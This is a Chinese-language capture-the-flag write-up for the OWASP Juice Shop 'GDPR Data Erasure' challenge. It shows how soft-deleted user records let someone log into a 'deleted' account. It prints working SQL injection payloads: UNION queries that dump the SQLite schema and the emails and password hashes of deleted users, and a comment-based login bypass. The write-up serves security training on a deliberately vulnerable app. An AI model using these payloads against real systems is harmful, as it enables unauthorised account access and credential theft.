# 【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户


# 【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户

## 0x01 任务简报

<blockquote style="border-left: 5px solid #6f42c1; background-color: #f5f3ff; padding: 20px; margin: 1.5rem 0; color: #5521b5; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">💡</span> 提示 (Hints)
</div>
1. 实现用户"被遗忘的权利"在技术上和法律上都存在问题。<br>
2. 尝试使用请求数据删除功能或许值得一试，但无法帮助实时解决此问题。<br>
3. 若已解决"通过 SQL 注入获取所有用户凭证列表"挑战，或许已掌握 Juice Shop 如何应用户请求"删除"账户的相关信息。<br>
4. Juice Shop 在此处的做法完全不符合《通用数据保护条例》（GDPR）。
</blockquote>

---

## 0x02 实战：复现漏洞

### 💡 前置思路

提示暗示 Chris 用户表面上被删除了，但实际上可能仍能使用。这涉及数据库的**软删除（Soft Delete）**机制。

### 🔍 第一步：推断目标邮箱

先进行账号收集，我在商店的所有评论里面没有找到Chris用户的评论，只是尝试构造Chris的邮箱了

```
chris@juice-sh.op
```

尝试直接注入登录，但失败。

![直接注入失败](../../../../../../public/p/juice-shop-gdpr-data-erasure登录已删除的用户账户/assets/Pastedimage20260408204958.png)

### 📊 第二步：查询数据库结构

看来不行，得请神上身了（AI救我）

首先从 Database Schema 挑战搞来注入语句，查询 `sqlite_master` 表获取数据库结构：

```sql
1'))union+select+1,2,3,4,5,6,7,8,sql+from+sqlite_master--
```

![数据库结构查询](../../../../../../public/p/juice-shop-gdpr-data-erasure登录已删除的用户账户/assets/Pastedimage20260408211727.png)

分析返回的 SQL 定义，发现 `Users` 表包含 `deletedAt` 字段，这表明应用使用**软删除**机制：用户被"删除"时，只是将 `deletedAt` 字段设置为删除时间戳，而不是物理删除记录。

### 🔑 第三步：查询已删除用户

构造 SQL 注入语句，查询所有 `deletedAt` 不为空的用户（已删除用户）：

```sql
1'))union+select+id,email,password,role,deletedAt,6,7,8,9+from+Users+where+deletedAt+is+not+null--
```

![已删除用户查询](../../../../../../public/p/juice-shop-gdpr-data-erasure登录已删除的用户账户/assets/Pastedimage20260408211949.png)

![查询结果](../../../../../../public/p/juice-shop-gdpr-data-erasure登录已删除的用户账户/assets/Pastedimage20260408211925.png)

成功获取已删除用户的邮箱、密码哈希和角色信息。

### 💉 第四步：登录已删除用户

从查询结果中获取 Chris 的真实邮箱：

```
chris.pike@juice-sh.op
```

既然已经拿到邮箱，那么直接使用注入进行登录

```
chris.pike@juice-sh.op'--
```

![注入登录](../../../../../../public/p/juice-shop-gdpr-data-erasure登录已删除的用户账户/assets/Pastedimage20260408212122.png)

### ✅ 第五步：完成挑战

成功登录已删除的 Chris 账户，挑战完成。

> AI 真好用啊~




